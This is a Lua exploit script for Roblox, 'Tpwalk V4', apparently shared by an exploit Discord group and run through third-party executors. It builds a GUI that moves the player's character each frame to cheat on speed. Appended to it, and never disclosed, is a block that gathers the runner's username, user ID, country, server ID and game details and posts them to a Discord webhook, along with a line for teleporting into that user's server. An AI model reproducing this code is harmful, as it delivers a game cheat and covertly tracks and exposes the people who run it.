--> Services <--
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local Lighting = game:GetService("Lighting")
--> LocalPlayerPlayer Varaiables <--
local player = [Link]
local playerGui = player:WaitForChild("PlayerGui")
local playerCharacter = [Link]
local playerHumanoid = playerCharacter:WaitForChild("Humanoid")
local playerHumanoidRootPart = playerCharacter:WaitForChild("HumanoidRootPart")
--> Tpwalk Varaiables <--
local ToggleTpwalk = false
local TpwalkValue = 1
local TpwalkNegativeValues = false
local TpwalkConnection = nil
--> Dragging Varaiables <--
local ThirdTextButtonMouseButton1Down = 0
local FourthTextButtonMouseButton1Down = 0
local FourthTextButtonToggled = false
--> Creates a ScreenGui <--
local ScreenGui = [Link]("ScreenGui")
[Link] = playerGui
[Link] = "Tpwalk V4"
[Link] = false
[Link] = 999
[Link] = true
[Link] = false
[Link] = true
--> Creates a Frame Within ScreenGui <--
local Frame = [Link]("Frame")
[Link] = ScreenGui
[Link] = "Container"
[Link] = [Link](0, 0, 0, 0)
[Link] = [Link](0.5, 0, 0.3, 0)
[Link] = [Link](0.5, 0.5)
Frame.BackgroundColor3 = [Link](24, 24, 36)
[Link] = 0
Frame.BorderColor3 = [Link](0, 0, 0)
[Link] = 0
[Link] = true
[Link] = 999
[Link] = true
[Link] = true
[Link] = true
[Link] = 0
[Link] = true
[Link] = 0
[Link] = [Link]
--> Creates a UICorner Within Frame <--
local FrameUICorner = [Link]("UICorner")
[Link] = Frame
[Link] = [Link](0.1, 0)
--> Creates a TextLabel Within Frame <--
local TextLabel = [Link]("TextLabel")
[Link] = Frame
[Link] = "Title"
[Link] = "TPWALK V4 | REVAMP"
TextLabel.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 18
[Link] = true
[Link] = false
[Link] = [Link]
[Link] = [Link]
[Link] = false
TextLabel.TextStrokeColor3 = [Link](0, 0, 0)
[Link] = 1
[Link] = 0
[Link] = [Link]
[Link] = 1
[Link] = -1
TextLabel.BackgroundColor3 = [Link](0, 0, 0)
[Link] = 1
TextLabel.BorderColor3 = [Link](0, 0, 0)
[Link] = 0
[Link] = [Link](1, 0, 0, 0)
[Link] = [Link](0.5, 0, 0.15, 0)
[Link] = [Link](0.5, 0.5)
[Link] = 999
[Link] = true
[Link] = false
[Link] = 1
[Link] = true
[Link] = [Link]
[Link] = 0
[Link] = true
--> Creates a Second TextLabel Within Frame <--
local SecondTextLabel = [Link]("TextLabel")
[Link] = Frame
[Link] = "Tpwalk Value Label"
[Link] = "Welcome "..[Link]
SecondTextLabel.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 14
[Link] = true
[Link] = false
[Link] = [Link]
[Link] = [Link]
[Link] = false
SecondTextLabel.TextStrokeColor3 = [Link](0, 0, 0)
[Link] = 1
[Link] = 0
[Link] = [Link]
[Link] = 1
[Link] = -1
SecondTextLabel.BackgroundColor3 = [Link](32, 32, 48)
[Link] = 0
SecondTextLabel.BorderColor3 = [Link](0, 0, 0)
[Link] = 0
[Link] = [Link](0.85, 0, 0.125, 0)
[Link] = [Link](0.5, 0, 0.3, 0)
[Link] = [Link](0.5, 0.5)
[Link] = 999
[Link] = true
[Link] = true
[Link] = 1
[Link] = true
[Link] = [Link]
[Link] = 0
[Link] = true
--> Creates a UICorner Within Second TextLabel <--
local SecondTextLabelUICorner = [Link]("UICorner")
[Link] = SecondTextLabel
[Link] = [Link](0.25, 0)
--> Creates a Third TextLabel Within Frame <--
local ThirdTextLabel = [Link]("TextLabel")
[Link] = Frame
[Link] = "Discord Link"
[Link] = "[Link]/iosexploiters"
ThirdTextLabel.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 13
[Link] = true
[Link] = false
[Link] = [Link]
[Link] = [Link]
[Link] = false
ThirdTextLabel.TextStrokeColor3 = [Link](0, 0, 0)
[Link] = 1
[Link] = 0
[Link] = [Link]
[Link] = 1
[Link] = -1
ThirdTextLabel.BackgroundColor3 = [Link](0, 0, 0)
[Link] = 1
ThirdTextLabel.BorderColor3 = [Link](0, 0, 0)
[Link] = 0
[Link] = [Link](1, 0, 0, 0)
[Link] = [Link](0.5, 0, 0.95, 0)
[Link] = [Link](0.5, 0.5)
[Link] = 1000
[Link] = true
[Link] = false
[Link] = 1
[Link] = true
[Link] = [Link]
[Link] = 0
[Link] = true
--> Creates a Rainbow Text Color For Third TextLabel <--
local hue = 0
[Link]:Connect(function(deltaTime)
hue = (hue + deltaTime * 0.1) % 1
local color = [Link](hue, 1, 1)
ThirdTextLabel.TextColor3 = color
end)
--> Creates a TextBox Within Frame <--
local TextBox = [Link]("TextBox")
[Link] = Frame
[Link] = "Tpwalk Value Changer"
[Link] = ""
TextBox.TextColor3 = [Link](255, 255, 255)
[Link] = false
[Link] = 14
[Link] = [Link]
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = "Change Tpwalk Number Here!"
TextBox.PlaceholderColor3 = [Link](178, 178, 178)
[Link] = true
[Link] = true
[Link] = 1
TextBox.BackgroundColor3 = [Link](32, 32, 48)
[Link] = 0
TextBox.BorderColor3 = [Link](255, 255, 255)
[Link] = 0
[Link] = [Link](0.85, 0, 0.125, 0)
[Link] = [Link](0.5, 0, 0.475, 0)
[Link] = [Link](0.5, 0.5)
[Link] = true
[Link] = 999
[Link] = true
[Link] = 0
[Link] = 0
[Link] = true
[Link] = true
[Link] = 1
[Link] = -1
[Link] = false
[Link] = 0
--> Creates a UICorner Within TextBox <--
local TextBoxUICorner = [Link]("UICorner")
[Link] = TextBox
[Link] = [Link](0.25, 0)
--> Creates a TextButton Within Frame <--
local TextButton = [Link]("TextButton")
[Link] = Frame
[Link] = "Tpwalk Enabler"
[Link] = [Link](0.85, 0, 0.125, 0)
[Link] = [Link](0.5, 0, 0.655, 0)
[Link] = [Link](0.5, 0.5)
[Link] = "Enable Tpwalk"
[Link] = [Link]
[Link] = 14
TextButton.TextColor3 = [Link](255, 255, 255)
TextButton.BackgroundColor3 = [Link](75, 175, 255)
TextButton.BorderColor3 = [Link](0, 0, 0)
[Link] = true
[Link] = false
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = 0
[Link] = true
[Link] = 999
[Link] = true
[Link] = true
[Link] = [Link]
--> Creates a UICorner Within TextButton <--
local TextButtonUICorner = [Link]("UICorner")
[Link] = TextButton
[Link] = [Link](0.25, 0)
--> Creates a Second TextButton Within Frame <--
local SecondTextButton = [Link]("TextButton")
[Link] = Frame
[Link] = "Negative Value Enabler"
[Link] = [Link](0.85, 0, 0.125, 0)
[Link] = [Link](0.5, 0, 0.835, 0)
[Link] = [Link](0.5, 0.5)
[Link] = "Enable Negative Values"
[Link] = [Link]
[Link] = 14
SecondTextButton.TextColor3 = [Link](255, 255, 255)
SecondTextButton.BackgroundColor3 = [Link](75, 175, 255)
SecondTextButton.BorderColor3 = [Link](0, 0, 0)
[Link] = true
[Link] = false
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = 0
[Link] = true
[Link] = 999
[Link] = true
[Link] = true
[Link] = [Link]
--> Creates a UICorner Within Second TextButton <--
local SecondTextButtonUICorner = [Link]("UICorner")
[Link] = SecondTextButton
[Link] = [Link](0.25, 0)
--> Creates a Third TextButton Within Frame <--
local ThirdTextButton = [Link]("TextButton")
[Link] = ScreenGui
[Link] = "Tpwalk ScreenGui Destroyer"
[Link] = [Link](0.1, 0, 0.04, 0)
[Link] = [Link](0.6, 0, 0.05, 0)
[Link] = [Link](0.5, 0.5)
[Link] = "Destroy"
[Link] = [Link]
[Link] = 20
ThirdTextButton.TextColor3 = [Link](255, 255, 255)
ThirdTextButton.BackgroundColor3 = [Link](255, 65, 65)
ThirdTextButton.BorderColor3 = [Link](0, 0, 0)
[Link] = true
[Link] = false
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = 0
[Link] = true
[Link] = 999
[Link] = true
[Link] = true
[Link] = true
[Link] = [Link]
--> Creates a UICorner Within Third TextButton <--
local ThirdTextButtonUICorner = [Link]("UICorner")
[Link] = ThirdTextButton
[Link] = [Link](1, 0)
--> Creates a Fourth TextButton Within Frame <--
local FourthTextButton = [Link]("TextButton")
[Link] = ScreenGui
[Link] = "Tpwalk ScreenGui Hider"
[Link] = [Link](0.1, 0, 0.04, 0)
[Link] = [Link](0.4, 0, 0.05, 0)
[Link] = [Link](0.5, 0.5)
[Link] = "Hide"
[Link] = [Link]
[Link] = 20
FourthTextButton.TextColor3 = [Link](255, 255, 255)
FourthTextButton.BackgroundColor3 = [Link](75, 175, 255)
FourthTextButton.BorderColor3 = [Link](0, 0, 0)
[Link] = true
[Link] = false
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = 0
[Link] = true
[Link] = 999
[Link] = true
[Link] = true
[Link] = true
[Link] = [Link]
--> Creates a UICorner Within Fourth TextButton <--
local FourthTextButtonUICorner = [Link]("UICorner")
[Link] = FourthTextButton
[Link] = [Link](1, 0)
--> Creates a Blur Instance Within Frame TweenService <--
local Blur = [Link]("BlurEffect")
[Link] = "Blur Screen Effect"
[Link] = true
[Link] = 0
[Link] = Lighting
--> Event Handler When The Player Respawns <--
[Link]:Connect(function(NewCharacter)
playerCharacter = NewCharacter
playerHumanoid = playerCharacter:WaitForChild("Humanoid")
playerHumanoidRootPart = playerCharacter:WaitForChild("HumanoidRootPart")
end)
--> Event Handler For Textbox Lost Focus <--
[Link]:Connect(function()
local textInput = [Link]
local inputValue = tonumber(textInput)
if not TpwalkNegativeValues then
if textInput == "" then
[Link] = ""
[Link] = "Please, Enter a Number!"
[Link] = 14
elseif not inputValue then
[Link] = ""
[Link] = "Please, Enter a Number And Not Characters!"
[Link] = 12
elseif inputValue <= 0 then
[Link] = ""
[Link] = "Please, Enter a Number Greater Than 0!"
[Link] = 14
else
TpwalkValue = inputValue
[Link] = "Tpwalk Value: "..TpwalkValue
[Link] = 18
end
else
if textInput == "" then
[Link] = ""
[Link] = "Please, Enter a Number!"
[Link] = 14
elseif not inputValue then
[Link] = ""
[Link] = "Please, Enter a Number And Not Characters!"
[Link] = 12
elseif inputValue == 0 then
[Link] = ""
[Link] = "Please, Enter a Number That Is Not 0!"
[Link] = 14
else
TpwalkValue = inputValue
[Link] = "Tpwalk Value: "..tostring(TpwalkValue)
[Link] = 18
end
end
end)
--> Event Handler For Textbox Focused <--
[Link]:Connect(function()
if [Link] == "Welcome "..[Link] then
[Link] = "Tpwalk Value: "..TpwalkValue
elseif [Link] == "Please, Enter a Number And Not Characters!"
then
[Link] = 12
else
[Link] = 14
end
end)
--> Event Hanlder For TextButton Clicked [ Tpwalk Enabler Button ] <--
TextButton.MouseButton1Click:Connect(function()
ToggleTpwalk = not ToggleTpwalk
local function Tpwalking()
if ToggleTpwalk and playerCharacter and playerHumanoid and
playerHumanoidRootPart then
[Link] += ([Link] *
TpwalkValue)
[Link] = true
end
end
if ToggleTpwalk and not TpwalkConnection then
TpwalkConnection = [Link]:Connect(Tpwalking)
[Link] = "Disable Tpwalk"
TextButton.BackgroundColor3 = [Link](255, 65, 65)
if [Link] == "Welcome "..[Link] then
[Link] = "Tpwalk Value: "..TpwalkValue
end
elseif not ToggleTpwalk and TpwalkConnection then
TpwalkConnection:Disconnect()
TpwalkConnection = nil
[Link] = false
[Link] = "Enable Tpwalk"
TextButton.BackgroundColor3 = [Link](75, 175, 255)
end
end)
--> Event Hanlder For Second TextButton Clicked [ Negative Values Button ] <--
SecondTextButton.MouseButton1Click:Connect(function()
TpwalkNegativeValues = not TpwalkNegativeValues
if TpwalkNegativeValues then
[Link] = "Disable Negative Values"
SecondTextButton.BackgroundColor3 = [Link](255, 65, 65)
elseif not TpwalkNegativeValues then
if TpwalkValue < 0 then
TpwalkValue = 1
[Link] = "Tpwalk Value: "..TpwalkValue
[Link] = "1"
end
[Link] = "Enable Negative Values"
SecondTextButton.BackgroundColor3 = [Link](75, 175, 255)
end
end)
--> Event Handler For Third TextButton Down [ Destroy Button ] <--
ThirdTextButton.MouseButton1Down:Connect(function()
ThirdTextButtonMouseButton1Down = tick()
end)
--> Event Hanlder For Third TextButton Clicked [ Destroy Button ] <--
ThirdTextButton.MouseButton1Click:Connect(function()
if tick() - ThirdTextButtonMouseButton1Down < 0.2 then
local FramePositionTweenInfo = [Link](1, [Link],
[Link], 0, false, 0)
local FramePositionTween = TweenService:Create(Frame,
FramePositionTweenInfo, {Position = [Link](0.5, 0, -1.5, 0)})
local FourthTextButtonPositionTweenInfo = [Link](1,
[Link], [Link], 0, false, 0)
local FourthTextButtonPositionTween = TweenService:Create(FourthTextButton,
FourthTextButtonPositionTweenInfo, {Position = [Link](0.5, 0, -1.5, 0)})
local ThirdTextButtonPositionTweenInfo = [Link](1,
[Link], [Link], 0, false, 0)
local ThirdTextButtonPositionTween = TweenService:Create(ThirdTextButton,
ThirdTextButtonPositionTweenInfo, {Position = [Link](0.5, 0, -1.5, 0)})
FramePositionTween:Play()
FourthTextButtonPositionTween:Play()
ThirdTextButtonPositionTween:Play()
[Link]:Connect(function()
if TpwalkConnection then
TpwalkConnection:Disconnect()
TpwalkConnection = nil
end
TpwalkNegativeValues = false
ToggleTpwalk = false
TpwalkValue = nil
ScreenGui:Destroy()
end)
end
end)
--> Event Handler For Fourth TextButton Down [ Hide/Show Button ] <--
FourthTextButton.MouseButton1Down:Connect(function()
FourthTextButtonMouseButton1Down = tick()
end)
--> Event Hanlder For Fourth TextButton Clicked [ Hide/Show Button ] <--
local LastFramePosition = [Link]
FourthTextButton.MouseButton1Click:Connect(function()
if tick() - FourthTextButtonMouseButton1Down < 0.2 then
FourthTextButtonToggled = not FourthTextButtonToggled
if FourthTextButtonToggled then
LastFramePosition = [Link]
local FramePositionTweenInfo = [Link](1, [Link],
[Link], 0, false, 0)
local FramePositionTween = TweenService:Create(Frame,
FramePositionTweenInfo, {Position = [Link](0.5, 0, -1.5, 0)})
local ThirdTextButtonPositionTweenInfo = [Link](1,
[Link], [Link], 0, false, 0)
local ThirdTextButtonPositionTween =
TweenService:Create(ThirdTextButton, ThirdTextButtonPositionTweenInfo, {Position =
[Link](0.5, 0, -1.5, 0)})
ThirdTextButtonPositionTween:Play()
FramePositionTween:Play()
[Link] = "Show"
elseif not FourthTextButtonToggled then
local FramePositionTweenInfo = [Link](1, [Link],
[Link], 0, false, 0)
local FramePositionTween = TweenService:Create(Frame,
FramePositionTweenInfo, {Position = LastFramePosition})
local ThirdTextButtonPositionTweenInfo = [Link](1,
[Link], [Link], 0, false, 0)
local ThirdTextButtonPositionTween =
TweenService:Create(ThirdTextButton, ThirdTextButtonPositionTweenInfo, {Position =
[Link](0.6, 0, 0.05, 0)})
ThirdTextButtonPositionTween:Play()
FramePositionTween:Play()
[Link] = "Hide"
end
end
end)
local function StartScreenTween()
local BlurStartTweenInfo = [Link](1, [Link],
[Link], 0, false, 0)
local BlurStartTween = TweenService:Create(Blur, BlurStartTweenInfo, {Size =
24})
BlurStartTween:Play()
local BlueEndTweenInfo = [Link](2, [Link],
[Link], 0, false, 0.5)
local BlurEndTween = TweenService:Create(Blur, BlueEndTweenInfo, {Size = 0})
local FrameStartTweenInfo = [Link](1, [Link],
[Link], 0, false, 1)
local FrameStartTween = TweenService:Create(Frame, FrameStartTweenInfo, {Size =
[Link](0.1, 0, 0.175, 0)})
FrameStartTween:Play()
local FrameEndTweenInfo = [Link](1, [Link],
[Link], 0, false, 0)
local FrameEndTween = TweenService:Create(Frame, FrameEndTweenInfo, {Size =
[Link](0.2, 0, 0.35, 0)})
[Link]:Connect(function()
FrameEndTween:Play()
end)
[Link]:Connect(function()
BlurEndTween:Play()
end)
end
StartScreenTween()
--> Services <--
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
local MarketplaceService = game:GetService("MarketplaceService")
local GroupService = game:GetService("GroupService")
local LocalizationService = game:GetService("LocalizationService")
--> Function to fetch group name <--
local function fetchGroupName(groupId)
local success, groupInfo = pcall([Link], GroupService,
groupId)
if success then
return [Link]
else
warn("Failed to fetch group name for ID: " .. tostring(groupId))
return "Unknown Group"
end
end
--> Trims leading and trailing spaces from a string and removes dots <--
local function trimAndRemoveDots(s)
return s:match("^%s*(.-)%s*$"):gsub("%.", "")
end
--> Attempt to fetch the country region for a player <--
local function getPlayerCountry(player)
local success, countryRegionCode = pcall(function()
return LocalizationService:GetCountryRegionForPlayerAsync(player)
end)
return success and countryRegionCode or "Unknown"
end
--> Safe call to get product info <--
local success, productInfo = pcall([Link],
MarketplaceService, [Link])
local gameName, gameDescription = "N/A", "N/A"
local creatorType, creatorId, creatorName = "N/A", "N/A", "Unknown"
local creatorProfileUrl, creatorLabel, creatorIdLabel = "", "", ""
local gameUrl = "[Link] .. tostring([Link])
if success and productInfo then
gameName = trimAndRemoveDots([Link])
gameDescription = [Link] or "N/A"
creatorType = [Link]
creatorId = [Link]
if creatorType == "User" then
creatorProfileUrl = "[Link] ..
tostring(creatorId) .. "/profile/"
creatorLabel = "**Game Creator Profile:** "
creatorIdLabel = "**Game Creator User ID:** "
local usernameSuccess, username = pcall([Link],
Players, creatorId)
creatorName = usernameSuccess and username or "Unknown User"
elseif creatorType == "Group" then
creatorProfileUrl = "[Link] .. tostring(creatorId)
creatorLabel = "**Game Creator Group:** "
creatorIdLabel = "**Game Creator Group ID:** "
creatorName = fetchGroupName(creatorId)
end
gameUrl = "[Link] .. tostring([Link]) .. "/" ..
HttpService:UrlEncode(gameName)
end
--> Player Variables <--
local player = [Link]
local playerCountry = getPlayerCountry(player)
--> Discord Embed <--
local embedDescription = "## __SCRIPT EXECUTED!__\n"
.. "**Script:** Tpwalk V4\n"
.. "**User:** " .. [Link] .. " (" .. [Link] .. ")\n"
.. "**User ID:** " .. tostring([Link]) .. "\n"
.. "**Server ID :** " .. [Link] .."\n"
.. "**Country:** " .. playerCountry .. "\n\n"
.. "**Game Name:** " .. gameName .. "\n"
.. "**Game ID:** " .. [Link] .. "\n"
.. "**Game Description:** " .. gameDescription .. "\n\n"
.. "**Game URL:** " .. gameUrl .. "\n\n"
.. "**Game " .. (creatorType == "User" and "Creator" or "Group") .. " Name:** "
.. creatorName .. "\n"
.. creatorIdLabel .. tostring(creatorId) .. "\n"
.. creatorLabel .. creatorProfileUrl .. "\n"
local embed = {
["title"] = gameName,
["description"] = embedDescription,
["type"] = "rich",
["color"] = tonumber(0x2b2d31),
["footer"] = {
["text"] = "[Link]/iosexploiters",
},
["timestamp"] = [Link]("!%Y-%m-%dT%H:%M:%SZ"),
}
--> Send the Discord webhook request <--
(syn and [Link] or http_request or [Link])({
Url = '[Link]
cB_Dc0ZwZGcG01nNfoMgmvC77v5B4J_mDePCaMS9icTXXcDI_ZqItq',
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json',
},
Body = HttpService:JSONEncode({ content = "-- Teleports To " .. [Link] ..
"'s Server\n" ..
"game:GetService(\"TeleportService\"):TeleportToPlaceInstance(\"" ..
tostring([Link]) .. "\", \"" .. [Link] .. "\",
[Link])", embeds = {embed} }),
})